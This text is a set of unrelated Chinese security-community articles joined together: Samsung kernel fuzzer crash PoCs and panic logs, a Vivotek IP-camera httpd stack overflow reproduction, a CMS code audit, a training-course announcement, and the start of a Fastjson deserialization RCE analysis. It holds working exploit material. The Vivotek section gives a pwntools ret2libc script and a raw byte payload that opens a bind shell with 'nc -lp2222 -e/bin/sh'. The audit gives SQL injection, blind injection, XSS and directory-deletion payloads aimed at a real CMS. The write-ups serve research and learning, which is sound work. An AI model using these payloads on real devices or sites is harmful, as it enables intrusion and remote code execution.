* 采用多进程之类的方法让fuzzer卡住时还能继续运行
* 使其在手机挂掉之前运行1分钟以上的时间
* 制作更好的黑名单/白名单
将来，也许我会撰文介绍如何利用这些漏洞，或者从源代码中寻找问题的根源。
**耻辱墙**
* * *
大家可以在自己的测试手机上跑一下这个fuzzer（注意，不要在日常使用的手机上跑，这可能是一个糟糕的主意）。如果您发现任何愚蠢的错误，请一定通知我，以便将其添加到耻辱墙上。
**G900F (Exynos Galaxy S5) [G900FXXU1CRH1] (August 1, 2017)**
* * *
**PoC**
* * *
use std::fs::File;
use std::io::Read;
fn thrasher() {
// Buffer to read into
let mut buf = [0x41u8; 8192];
let fn = "/sys/kernel/debug/smp2p_test/ut_remote_gpio_inout";
loop {
if let Ok(mut fd) = File::open(fn) {
let _ = fd.read(&mut buf);
}
}
}
fn main() {
// Make fuzzing threads
let mut threads = Vec::new();
for _ in 0..4 {
threads.push(std::thread::spawn(move || thrasher()));
}
// Wait for all threads to exit
for thr in threads {
let _ = thr.join();
}
}
**J200H (Galaxy J2) [J200HXXU0AQK2] (August 1, 2017)**
* * *
不要求root权限，可以直接运行该fuzzer
[c0] Unable to handle kernel paging request at virtual address 62655726
[c0] pgd = c0004000
[c0] [62: ee456000
[c0] PC is at devres_for_each_res+0x68/0xdc
[c0] LR is at 0x62655722
[c0] pc : [<c0302848>] lr : [<62655722>] psr: 000d0093
sp : ee457d20 ip : 00000000 fp : ee457d54
[c0] r10: ed859210 r9 : c0c833e4 r8 : ed859338
[c0] r7 : ee456000
[c0] PC is at devres_for_each_res+0x68/0xdc
[c0] LR is at 0x62655722
[c0] pc : [<c0302848>] lr : [<62655722>] psr: 000d0093
[c0] [<c0302848>] (devres_for_each_res+0x68/0xdc) from [<c030d5f0>] (dev_cache_fw_image+0x4c/0x118)
[c0] [<c030d5f0>] (dev_cache_fw_image+0x4c/0x118) from [<c0306050>] (dpm_for_each_dev+0x4c/0x6c)
[c0] [<c0306050>] (dpm_for_each_dev+0x4c/0x6c) from [<c030d824>] (fw_pm_notify+0xe4/0x100)
[c0] [<c030d0013 00000000 ffffffff ffffffff
[c0] [<c0302848>] (devres_for_each_res+0x68/0xdc) from [<c030d5f0>] (dev_cache_fw_image+0x4c/0x118)
[c0] [<c030d5f0>] (dev_cache_fw_image+0x4c/0x118) from [<c0306050>] (dpm_for_each_dev+0x4c/0x6c)
[c0] [<c0306050>] (dpm_for_each_dev+0x4c/0x6c) from [<c030d824>] (fw_pm_notify+0xe4/0x100)
[c0] [<c030d[<c0063824>] (pm_notifier_call_chain+0x28/0x3c)
[c0] [<c0063824>] (pm_notifier_call_chain+0x28/0x3c) from [<c00644a0>] (pm_suspend+0x154/0x238)
[c0] [<c00644a0>] (pm_suspend+0x154/0x238) from [<c00657bc>] (suspend+0x78/0x1b8)
[c0] [<c00657bc>] (suspend+0x78/0x1b8) from [<c003d6bc>] (process_one_work+0x160/0x4b8)
[c0] [<c003d6bc>] [<c0063824>] (pm_notifier_call_chain+0x28/0x3c)
[c0] [<c0063824>] (pm_notifier_call_chain+0x28/0x3c) from [<c00644a0>] (pm_suspend+0x154/0x238)
[c0] [<c00644a0>] (pm_suspend+0x154/0x238) from [<c00657bc>] (suspend+0x78/0x1b8)
[c0] [<c00657bc>] (suspend+0x78/0x1b8) from [<c003d6bc>] (process_one_work+0x160/0x4b8)
**J500H (Galaxy J5) [J500HXXU2BQI1] (August 1, 2017)**
* * *
cat /sys/kernel/debug/usb_serial0/readstatus
或者：
cat /sys/kernel/debug/usb_serial1/readstatus
或者：
cat /sys/kernel/debug/usb_serial2/readstatus
或者：
cat /sys/kernel/debug/usb_serial3/readstatus
**J500H (Galaxy J5) [J500HXXU2BQI1] (August 1, 2017)**
* * *
cat /sys/kernel/debug/mdp/xlog/dump
**J500H (Galaxy J5) [J500HXXU2BQI1] (August 1, 2017)**
* * *
cat /sys/kernel/debug/rpm_master_stats
J700H (Galaxy J7) [J700HXXU3BRC2] (August 1, 2017)
不要求root权限，可以直接运行该fuzzer
Unable to handle kernel paging request at virtual address ff00000107
pgd = ffffffc03409d000
[ff00000107] *pgd=0000000000000000
mms_ts 9-0048: mms_sys_fw_update [START]
mms_ts 9-0048: mms_fw_update_from_storage [START]
mms_ts 9-0048: mms_fw_update_from_storage [ERROR] file_open - path[/sdcard/melfas.mfsb]
mms_ts 9-0048: mms_fw_update_from_storage [ERROR] -3
mms_ts 9-0048: mms_sys_fw_update [DONE]
muic-universal:muic_show_uart_sel AP
usb: enable_show dev->enabled=1
sm5703-fuelga0000000000000000
Kernel BUG at ffffffc00034e124 [verbose debug info unavailable]
Internal error: Oops - BUG: 96000004 [#1] PREEMPT SMP
exynos-snapshot: item - log_kevents is disabled
CPU: 4 PID: 9022 Comm: lulandroid Tainted: G W 3.10.61-8299335 #1
task: ffffffc01049cc00 ti: ffffffc002824000 task.ti: ffffffc002824000
PC is at sysfs_open_file+0x4c/0x208
LR is at sysfs_open_file+0x40/0x208
pc : [<ffffffc00034e124>] lr : [<ffffffc00034e118>] pstate: 60000045
sp : ffffffc002827b70
**G920F (Exynos Galaxy S6) [G920FXXU5DQBC] (Febuary 1, 2017) 现在已经启用了selinux
:(**
* * *
sec_debug_store_fault_addr 0xffffff80000fe008
Unhandled fault: synchronous external abort (0x96000010) at 0xffffff80000fe008
------------[ cut here ]------------ Kernel BUG at ffffffc0003b6558 [verbose debug info unavailable]
Internal error: Oops - BUG: 96000010 [#1] PREEMPT SMP
exynos-snapshot: core register saved(CPU:0)
CPUMERRSR: 0000000012100088, L2MERRSR: 00000000111f41b8
exynos-snapshot: context saved(CPU:0)
exynos-snapshot: item - log_kevents is disabled
CPU: 0 PID: 5241 Comm: hookah Tainted: G W 3.18.14-9519568 #1
Hardware name: Samsung UNIVERSAL8890 board based on EXYNOS8890 (DT)
task: ffffffc830513000 ti: ffffffc822378000 task.ti: ffffffc822378000
PC is at samsung_pin_dbg_show_by_type.isra.8+0x28/0x68
LR is at samsung_pinconf_dbg_show+0x88/0xb0
Call trace:
[<ffffffc0003b6558>] samsung_pin_dbg_show_by_type.isra.8+0x28/0x68
[<ffffffc0003b661c>] samsung_pinconf_dbg_show+0x84/0xb0
[<ffffffc0003b66d8>] samsung_pinconf_group_dbg_show+0x90/0xb0
[<ffffffc0003b4c84>] pinconf_groups_show+0xb8/0xec
[<ffffffc0002118e8>] seq_read+0x180/0x3ac
[<ffffffc0001f29b8>] vfs_read+0x90/0x148
[<ffffffc0001f2e7c>] SyS_read+0x44/0x84
**G950F (Exynos Galaxy S8) [G950FXXU4CRI5] (September 1, 2018)**
* * *
可以通过在内核中获取PC来引发手机崩溃。可能是竞争条件导致的堆破坏所致。
（这个由PC导致的崩溃可能是通过过去某个旧版repro引发的，具体记不清了，可能是2018年4月左右的某个版本）
task: ffffffc85f672880 ti: ffffffc8521e4000 task.ti: ffffffc8521e4000
PC is at jopp_springboard_blr_x2+0x14/0x20
LR is at seq_read+0x15c/0x3b0
pc : [<ffffffc000c202b0>] lr : [<ffffffc00024a074>] pstate: a0000145
sp : ffffffc8521e7d20
x29: ffffffc8521e7d30 x28: ffffffc8521e7d90
x27: ffffffc029a9e640 x26: ffffffc84f10a000
x25: ffffffc8521e7ec8 x24: 00000072755fa348
x23: 0000000080000000 x22: 0000007282b8c3bc
x21: 0000000000000e71 x20: 0000000000000000
x19: ffffffc029a9e600 x18: 00000000000000a0
x17: 0000007282b8c3b4 x16: 00000000ff419000
x15: 000000727dc01b50 x14: 0000000000000000
x13: 000000000000001f x12: 00000072755fa1a8
x11: 00000072755fa1fc x10: 0000000000000001
x9 : ffffffc858cc5364 x8 : 0000000000000000
x7 : 0000000000000001 x6 : 0000000000000001
x5 : ffffffc000249f18 x4 : ffffffc000fcace8
x3 : 0000000000000000 x2 : ffffffc84f10a000
x1 : ffffffc8521e7d90 x0 : ffffffc029a9e600
PC: 0xffffffc000c20230:
0230 128001a1 17fec15d 128001a0 d2800015 17fec46e 128001b4 17fec62b 00000000
0250 01bc8a68 ffffffc0 d503201f a9bf4bf0 b85fc010 716f9e10 712eb61f 54000040
0270 deadc0de a8c14bf0 d61f0000 a9bf4bf0 b85fc030 716f9e10 712eb61f 54000040
0290 deadc0de a8c14bf0 d61f0020 a9bf4bf0 b85fc050 716f9e10 712eb61f 54000040
02b0 deadc0de a8c14bf0 d61f0040 a9bf4bf0 b85fc070 716f9e10 712eb61f 54000040
02d0 deadc0de a8c14bf0 d61f0060 a9bf4bf0 b85fc090 716f9e10 712eb61f 54000040
02f0 deadc0de a8c14bf0 d61f0080 a9bf4bf0 b85fc0b0 716f9e10 712eb61f 54000040
0310 deadc0de a8c14bf0 d61f00a0 a9bf4bf0 b85fc0d0 716f9e10 712eb61f 54000040
**PoC**
* * *
extern crate rand;
use std::fs::File;
use std::io::Read;
fn thrasher() {
// These are the 2 files we want to fuzz
let random_paths = [
"/sys/devices/platform/battery/power_supply/battery/mst_switch_test",
"/sys/devices/platform/battery/power_supply/battery/batt_wireless_firmware_update"
];
// Buffer to read into
let mut buf = [0x41u8; 8192];
loop {
// Pick a random file
let file = &random_paths[rand::random::<usize>() % random_paths.len()];
// Read a random number of bytes from the file
if let Ok(mut fd) = File::open(file) {
let rsz = rand::random::<usize>() % (buf.len() + 1);
let _ = fd.read(&mut buf[..rsz]);
}
}
}
fn main() {
// Make fuzzing threads
let mut threads = Vec::new();
for _ in 0..4 {
threads.push(std::thread::spawn(move || thrasher()));
}
// Wait for all threads to exit
for thr in threads {
let _ = thr.join();
}
} | 社区文章 |
## 0x01 前言
2017年11月披露的vivotek的一个栈溢出漏洞，漏洞发生在其固件中的httpd服务，其未对用户post的数据长度做校验，导致攻击者可以发送特定的数据使摄像头进程崩溃，甚至任意代码执行。这边看到后觉得挺有意思的，打算复现下。
贴一下漏洞作者放出的poc ： <https://www.exploit-db.com/exploits/44001>
再贴一下影响版本 ：
CC8160 CC8370-HV CC8371-HV CD8371-HNTV CD8371-HNVF2 FD8166A
FD8166A-N FD8167A FD8167A-S FD8169A FD8169A-S FD816BA-HF2
FD816BA-HT FD816CA-HF2 FD8177-H FD8179-H FD8182-F1 FD8182-F2
FD8182-T FD8366-V FD8367A-V FD8369A-V FD836BA-EHTV FD836BA-EHVF2
FD836BA-HTV FD836BA-HVF2 FD8377-HV FD8379-HV FD8382-ETV FD8382-EVF2
FD8382-TV FD8382-VF2 FD9171-HT FD9181-HT FD9371-EHTV FD9371-HTV
FD9381-EHTV FD9381-HTV FE8182 FE9181-H FE9182-H FE9191
FE9381-EHV FE9382-EHV FE9391-EV IB8360 IB8360-W IB8367A
IB8369A IB836BA-EHF3 IB836BA-EHT IB836BA-HF3 IB836BA-HT IB8377-H
IB8379-H IB8382-EF3 IB8382-ET IB8382-F3 IB8382-T IB9371-EHT
IB9371-HT IB9381-EHT IB9381-HT IP8160 IP8160-W IP8166
IP9171-HP IP9181-H IZ9361-EH MD8563-EHF2 MD8563-EHF4 MD8563-HF2
MD8563-HF4 MD8564-EH MD8565-N SD9161-H SD9361-EHL SD9362-EH
SD9362-EHL SD9363-EHL SD9364-EH SD9364-EHL SD9365-EHL SD9366-EH
SD9366-EHL VS8100-V2
vivotek官网固件下载地址：<http://www.vivotek.com/firmware/>
## 0x02 环境搭建
#### 固件下载
vivotek官网并没有发布漏洞固件的历史版本，深夜去国外各大网站上去爬贴找资源，然鹅并没有找到，想喷一波，没有固件降级好傻，看到一堆国外友人吐槽不能版本降级。在漏洞发现者的github上找vulnable
firmware的过程中看到了有同样诉求的老哥，看来遇到战友了，果断留issue占楼。
看到作者也留言了233333333。
没办法，没有钱买vivotek摄像头，无法通过串口啥的提固件；只能去官网找技术支持，装一波升级固件后无法启动控制台的小可怜~
客服小姐姐还是很温柔的，固件到手，不忘了再github issue放一波资源。
#### 固件解包
拿到固件后binwalk跑一下，发现文件系统在`_31.extracted/_rootfs.img.extracted/squashfs-root`这个目录下
看到httpd的类型，32位的arm程序，小端，动态链接，而且符号表被裁23333333
#### 服务运行
解包以后就能看到漏洞服务httpd了，由于是arm架构，x86不能直接跑，这边用qemu模拟arm环境运行服务。
这边遇到两个坑点，一个是一开始运行httpd的时候会显示`gethostbyname::success`，然鹅httpd进程并没有成功启动，httpd文件丢ida
这边涉及两个主要函数，一个是gethostname,它获取本机主机名，将结果存放在`rlimits`变量中；另一个是gethostbyname,这个函数通过rlimits中存放的主机名寻找ip。这边由于固件hostname中的主机名和宿主机中的hostname有冲突，导致gethostbyname并不能正确的找到主机名对应的ip。
这边把宿主机和固件hosts文件中的主机名改成一致就行了。
另一个坑点就比较坑了。改完hostname并不能成功运行，httpd服务启动会报一个`Could not open boa.conf for
reading`的错，同样ida里回溯关键字符串引用，找到如下代码
发现是无法找到`/etc/conf.d/boa/boa.conf`这个文件，固件目录下看了一下发现`/etc`中的`conf.d`是一个软链接，指向`../mnt/flash/etc/conf.d`
进`../mnt/flash/etc/conf.d`看了下，发现并没有`conf.d`文件夹，emmmmmmm
一开始以为是binwalk解包方式不对，导致文件缺失，然鹅windows下用7zip提取依旧是显示缺文件；猜测`etc`文件是不是存放在其它包里，果不其然...........
找到对应版本固件的包，将其中的`etc`文件夹复制到文件系统下的
`/mnt/flash/`中覆盖原本的`etc`文件夹。看一下软连接应该是链接正常了，颜色都变了23333333，这下就能成功运行服务了。
#### 调试环境
运行漏洞作者提供的poc发现能导致httpd程序崩溃
然鹅，光能让服务崩溃最多只是个dos拒绝服务，我还想进一步的去观察，去看这个漏洞服务是否能被利用。对这个程序的调试应运而生。
调试的话需要搭建qemu虚拟机，贴下arm-debian的qemu镜像地址：`https://people.debian.org/~aurel32/qemu/armel/`
开启虚拟机：
sudo tunctl -t tap0 -u `whoami` #这边新建一张网卡和虚拟机进行通信
sudo ifconfig tap0 192.168.2.1/24 #给网卡配置ip
qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic #启动虚拟机镜像
之后对虚拟机进行一系列配置：
sudo mount -o bind /dev ./squashfs-root/dev #将固件文件系统下的dev目录挂载到虚拟机/dev
sudo mount -t proc /proc ./squashfs-root/proc #将固件文件系统下的proc目录挂载到虚拟机/proc
ifconfig eth0 192.168.2.2/24 #配置虚拟网卡ip 使其能与主机通信
chroot ./squashfs-root/ sh #以指定目录为根弹出一个shell
默认/dev和/proc在chroot的时候是不会挂载的，所以这边才需要手动挂载。
这边选择远程调试，因为首先要考虑到arm-debian原生镜像并不带gdb，apt-get下载太慢，交叉编译又很烦，而且更重要的是不太直观。这边其实是想ida远程调的，但是这边并没有用这种方法调，后面说原因。
//其实是尝试过交叉编译的，armgdb还好说，32位的arm-gdbserver压力就比较大了，可能qemu虚拟机撑不住，果断弃坑，用别人的多好，何必重复造轮子(滑稽)
贴下已经编译好的各个平台上的gdb&gdbserver地址：`https://github.com/mzpqnxow/gdb-static-cross/tree/master/prebuilt-static`
考虑到qemu虚拟机中下载太慢，这边先下到主机用`python -m SimpleHttpServer`传过去就好了。
之后就可以gdbserver调一下了，这边httpd运行后会显示pid，gdbserver直接attach就好了。
这边虚拟网卡其实最好用桥接，`NAT`的话ida无法远程调，但是配置桥接网卡还是有点烦的，而且这里没必要，因为这个arm-pwn相对来说还是比较好利用的。所以直接宿主机target remote调了。
## 0x03 开始调试
#### 寻找漏洞点
宿主机target remote上去，向服务端口发送poc，发现崩溃，查看崩溃时各寄存器数值并进行栈回溯查看函数调用
由被调试程序崩溃后的寄存器值可以发现，程序返回时的r4、r5、r6、r7、r8、r9、r10、r11以及pc都被poc中的字符串覆写，由于pc指向了无效地址，所以程序报错。
贴下作者的poc：
echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | netcat -v 192.168.2.2 80
通过对`Content-Length`的交叉引用找到漏洞点
这边就是漏洞所在，程序没有对content-length字段进行校验，直接用strcpy把content-length字段的值复制到长度为4的dest数组中。由于没有进行校验，内容长度字段可以任意指定，而dest缓冲区距栈底只有0x38字节，不溢出才怪了。
#### 构造溢出
知道了漏洞点的位置以及形成原因，这边来尝试构造一下。需要注意的是，arm下的函数调用的栈布局和x86下是有很大不一样的，函数的返回地址是专门由寄存器LR保存的，这边content-length的长度超过0x38-4字节就会把LR覆盖成其它内容；有关arm的一些东西打算下期写一篇总结下，通过这篇复现还是学到不少arm常识的。
checksec看了下httpd的编译保护来决定通过什么方式利用，这边程序只开启了nx，所以无法直接写shellcode；ret2libc的话是个不错的选择，但前提是vivotek实体机上没有开aslr，否则的话还是要先泄露libc基址，然后再获取一次输入，相对来说会比较烦一点；但是考虑到IoT设备为效率考虑一般是不会开aslr的，所以这边直接通过ret2libc来进行利用。
## 0x04 漏洞利用
#### 利用思路
qemu的arm-debian虚拟机中先关闭aslr：`echo 0 > /proc/sys/kernel/randomize_va_space`
由于没有开启aslr，那么堆栈地址、text&data段地址、libc加载基址都是固定的，并不需要泄露libc基址。
libc基址知道，偏移固定，system函数地址相当于也知道，接下来就是参数的传递问题了。
x86下的函数是通过栈来传参，但是在mips和arm中，会优先通过寄存器传参，有点类似x64，arm中的函数参数优先通过r0-r3进行传递；system函数的参数就存放在r0中，而内容长度是存放在栈上的，所以这边需要一条gadget链来让r0指向栈上指定的内容。
这边选取的gadget如下：
0x00048784 : pop {r1, pc}
0x00016aa4 : mov r0, r1 ; pop {r4, r5, pc}
为什么不直接选pop {r0,pc}，因为pop
{r0,pc}对应的地址0x00033100中有截断符\x00，且libc基址最后也是\x00，所以用pip
{r0,pc}会导致输入中断，无法继续利用。所以这边只能通过先将参数地址传给r1，之后再mov到r0中去。
让r0指向栈上指定的内容，之后再执行system函数就能任意代码执行了。
#### 利用脚本
#encoding=utf-8
#!/usr/bin/python
from pwn import *
from os import *
libc_base = 0x76f2d000 # libC 库在内存中的加载地址
stack_base = 0x7effeb60 # 崩溃时 SP 寄存器的地址
libc_elf = ELF('./libuClibc-0.9.33.3-git.so')
payload = (0x38 - 4) * 'a' # padding
payload += p32(0x00048784 + libc_base) # gadget1
payload += p32(0x80 + stack_base) # 栈中命令参数地址
payload += p32(0x00016aa4 + libc_base) # gadget2
payload += (0x8 * 'a') # padding
payload += p32(libc_elf.symbols['system'] + libc_base) # 内存中 system() 函数地址
payload += ('pwd;' * 0x100 + 'nc\x20-lp2222\x20-e/bin/sh\x20>') # 命令参数
payload = 'echo -en "POST /cgi-bin/admin/upgrade.cgi \nHTTP/1.0\nContent-Length:{}\n\r\n\r\n" | nc -v 192.168.2.2 80'.format(payload)
os.system(payload)
#### 字节码
由于复现漏洞的虚拟机中并没有pwntools，所以整理成字节码直接跑，有点硬核233333333
echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x84\x57\xf7\x76\xe0\xeb\xff\x7e\xa4\x3a\xf4\x76aaaaaaaa\xb0\x4a\xf7\x76pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;nc -lp2222 -e/bin/sh >\n\r\n\r\n" | nc -v 192.168.2.2 80
## 0x05 复现
通过此漏洞在远端2222端口反弹一个shell，本地nc过去，成功getshell~。
到这边整个复现过程就算结束了，其实调试和运行环境布置在树莓派上应该会更好一点，能ida远程调就爽的一批了。
## 0x06 总结
这次的复现过程真的值得好好去讲讲，去回味，漏洞本身是不难的，只是一个栈溢出，但是在真实环境下，在IoT环境下，它又是那么与众不同。
这次的复现真的让我学会了很多，固件、社工(滑稽)、qemu、远程调试、交叉编译、arm语法，甚至arm-pwn.......
更重要的是，它让我知道了对一个一开始觉得高不可攀无法解决的问题如何起手。
ps:调试阶段的时候玩gdbserver触发了一个double free，先去看看是否有相关的漏洞，没有的话过几天调一波~
加油加油~ | 社区文章 |
**0x01、前言**
最近在做代码审计学习的相关练习，在cnvd看到该cms有个SQL注入，于是有了下面的代码审计。感谢这个过程中为我解答疑惑的师傅
**0x02、后台a_book_category.php int型注入**
POC：
http://cms.xxxx.com/demo/cmsadmin/a_book_category.php?t=mon&id=-1%20union%20select%201,user(),3%23
(官方演示站点，打个码以示尊重)
该php文件下另外一个触发点：
**0x03、后台a_pagex.php盲注**
POC：
pagename=test&istop=0&isbottom=0&title=test&webkey=test&description=test&editorValue=1'and if(ascii(substr(user(),1,1))=100,sleep(2),1)#&id=2&submit=%E7%BC%96%E8%BE%91
editorValue参数需要手动添加
**0x04、后台反射型XSS（没什么用，这里用来熟悉xss的代码审计）**
POC：
http://cms.xxxxxx.com/demo/cmsadmin/a_auth.php?do=update&l=%22%3C/script%3E%3Cscript%3Ealert(1)%3C/script%3E
**0x05、后台a_bookx.php注入**
mysqli_query不支持堆叠，无回显
初步构造payload：
t=move&id[0]=1',(select 1 and sleep(10)),'2
执行的SQL语句：
UPDATE `cms_book` set catid='' WHERE id in('1',(select 1 and sleep(10)),'2')
能够正确执行的SQL语句：
UPDATE `cms_book` set catid='' WHERE id in(1,(select 1 and sleep(10)))
因此初步设想以失败告终，$result返回bool值，True显示咨询删除成功，false则显示咨询删除失败
则可以if构造语句，语句判断语句为真则执行一条可执行的语句，假若为假执行一条报错语句即可使result为False的语句
updatexml，if条件真假与否都会报错
extractvalue，if条件真假与否都会报错
join报错:select id from mysql.user a join mysql.user b ，result返回结果均为true
floor报错：SELECT COUNT( _) FROM user GROUP BY FLOOR(RAND(0)_ 2);同样返回结果均为true
exp(): mysql>=5.5.5会报错;mysql>=5.5.53，报错不能注出数据，我这里为5.5.53，但是可以用于使语句返回结果为false
POC：
http://cms.xxxx.com/demo/cmsadmin/a_bookx.php?t=move&id[0]=1%27)or%20if((substr((select%20user()),1,1))=%27d%27,(select%201),exp(~0));%23
**这个点有更多姿势的师傅欢迎留言**
**0x06、删除指定目录**
漏洞位置在a_modsx.php
id由用户传入，且有一层过滤
过滤逻辑存在问题，str_replace只替换一次，将../替换为空格
绕过：
.../...// --> ../
意味着可以实现跨目录删除指定目录
POC：由于存在一定的影响，这里就不到人家官网验证了
查看网站文件夹，images文件成功删除 | 社区文章 |
### 红日安全
随着安全界的发展，业内也有很少的公开课，红日安全团队经过慎重的决定为大家讲一场基础系列的公开课。
对于 **`红日安全`**
，很多人可能都不熟悉，但是希望通过这次的公开课可以给大家带来收获。通过近期业内小伙伴提供的需求，本次安全公开课代号`启程`。寓意在这里：`从现在做一个新的起点`。
本次培训为红日安全团队制作一个攻防系列课程，本意是希望没有任何基础小白也可以启程。每一个公开课都有一个故事，希望`启程`可以给听这次公开课的小伙伴们带来收获与成长。
此次公开课干货较多，会分为几个不同方向进行讲解，由于讲师都是一线`奋进者`，所以每一期公开课要根据讲师时间来定。另外公开课主要以线下为主，大家可以下载到本地进行观看。
小编先给大家公开一张思维导图 [思维导图原图地址](https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/%E6%94%BB%E9%98%B2%E7%AC%AC%E4%B8%80%E8%8A%82/%E6%89%93%E9%80%A0%E8%87%AA%E5%B7%B1%E6%BC%8F%E6%B4%9E%E5%B7%A5%E5%85%B7%E5%92%8C%E9%9D%B6%E5%9C%BA%E5%B9%B3%E5%8F%B0.png)
思维导图目前只是初级制定，分为几个方向，下面小编提前给小伙伴们透露一点点内容吧。
* 基础篇
* Web安全基础
* 教你如何掌握最基本渗透套路
* 靶场篇
* PHP代码审计基础
* CTF小游戏
* 教你如何编写一套属于自己的靶场
* 工具篇
* 自动化漏洞扫描器编写
* XSS自动验证截图
* 弱口令自动验证截图
* 教你如何编写自己漏洞扫描器进行渗透测试
* 进阶篇
* 综合环境搭建、漏洞扫描
* 掌握了以上知识，那么恭喜你，成为一名中级“小白”
* 运维片
* 搭建Snort、日志分析、安全运维环境
* 报告篇
* 教你如何写一篇安全风险报告
* 高级篇
* 综合实战
* 教你从前端+审计+后端+内网整体性有一个安全概念
那么重点来了，讲解还要根据每一块内容来定，基础篇Orian讲师根据工具安全基础篇信息泄漏又做了一个小的思维导图。
基础讲解会以这样思维导图进行讲解。其它部分也会以基础部分进行讲解。团队将以下内容结合实际案例更好帮助大家学习。
### 环境搭建
以前讲解渗透测试部分，都是利用虚拟机来搭建渗透测试平台，如果换机器，则环境需要重新搭建，程序大而且也不方便，此次培训平台采用docker方式搭建，让大家学会`简单学习`。快速摆脱环境困难问题。
思路：渗透测试主要讲解Web漏洞部分和主机漏洞部分。Docker搭建Web漏洞部分也有公开案例，大家可以参考。
后续搭建部分教大家学习dockfile编写。
### Web漏洞
这些会根据都是网上公开docker环境，有这些前辈贡献，我们才可以更简单去学习。我们讲解到某一块内容以后，我们都要根据公开漏洞进行讲解，最重要是根据docker的简单性和移植性，搭建我们自己的渗透测试环境。除了Web漏洞环境，安全工具也比较重要，所以平时有比较难安装，且依赖环境重要的工具，我们可以采取docker进行安装，比如`巡风`、`cobra`等业界不错工具。可以利用docker快速安装，进行快速漏洞挖掘和使用。
### Cobra
讲解完相应内容，会进行搭建docker环境。网上公开渗透测试环境，我们也尝试用docker进行搭建，方便搭建学习。另外也会从网上找一些公开漏洞给大家尝试搭建docker环境。
有以下几点
* 摆脱环境困难搭建问题
* 平时只是看，而不去实操
* 两条命令，环境从现
环境搭建包含但不限于以下环境
* WAF、日志安全
* 前端安全
* 代码审计
* 渗透测试
* 内网安全
* 运维安全
尝试用docker搭建一个系列。另外大家期待的`CTF小靶场`后期也在编写当中，由小峰老师为大家讲解。
### 运维方向
搭建蜜罐、Snort工具使用、日志分析蜜罐和snort可用来充当企业IPS/IDS操作。日志操作主要利用Windows搭建一套cms系统，然后利用hacker方式攻击服务器和操作服务器，把日志提取出来，以这种类型给大家分析，还有其它类型，小编暂不多透露。
### 内网方向
利用docker搭建一部分虚拟机以外，还需要本地进行搭建学习。个人搭建环境，利用虚拟机搭建一个网络。
公开内网学习环境，利用TEST LAB V8进行实例讲解。只需一个VPN即可解决。 | 社区文章 |
# 前言
最近在学习fastjson的相关漏洞，一直跟到了1.2.47的RCE，鉴于网上关于该版本的分析文章较为简略，这里提供相关分析过程供入门java代码审计的小伙伴学习~
# 漏洞分析
## FastJson1.2.24 RCE
在分析1.2.47的RCE之前先对FastJson1.2.24版本中的RCE进行一个简单的漏洞链分析，为在本篇文章后面1.2.47中漏洞的调用过程做个铺垫。在本文中的1.2.24的payload只研究针对类jdbcRowSetImpl的，因为针对templatesImpl的payload而言在高版本java中要开启Feature.SupportNonPublicField才能进行对非共有属性的反序列化处理，因此是存在一定的限制的。因此针对类jdbcRowSetImpl的payload更具有通用型一些。本中所示代码及jar包请见附件。
exp.java
Exploit.class
首先在本地用marshalsec起一个ldap服务，用rmi也可以，只需将datasourcename中的服务更改为rmi即可
本文中环境为jdk1.8.0,首先在parse处下一个断点然后运行exp.java，本来打算正向找到setvalue函数，可是fastjson扫描json字符串的过程及反序列化时处理jdbcrowsetimpl类处处理流程过于繁琐，中间不知道得跟进多少个F7，很容易让人没有耐心继续调试分析，遂这里直接关注漏洞的核心点，即我们在setDataSourceName处下断点
即此时将从我们payload中指定的DataSourceName中去加载工厂类
在setautoconnect函数中调用了connect()函数，跟进后此时就能看到熟悉的lookup函数啦，我们知道jndi注入攻击中从远程加载恶意工厂类即是我们控制了lookup的入口参数，即控制了远程工厂类的加载地址，即此处即为关键点，F7步入
此时getDataSourceName()的返回值也可以看到即为我们所指定的恶意工厂类地址
然后跟进lookup看看如何调用实例化，这里调用了getURLOrDefaultInitCtx(name).lookup()函数
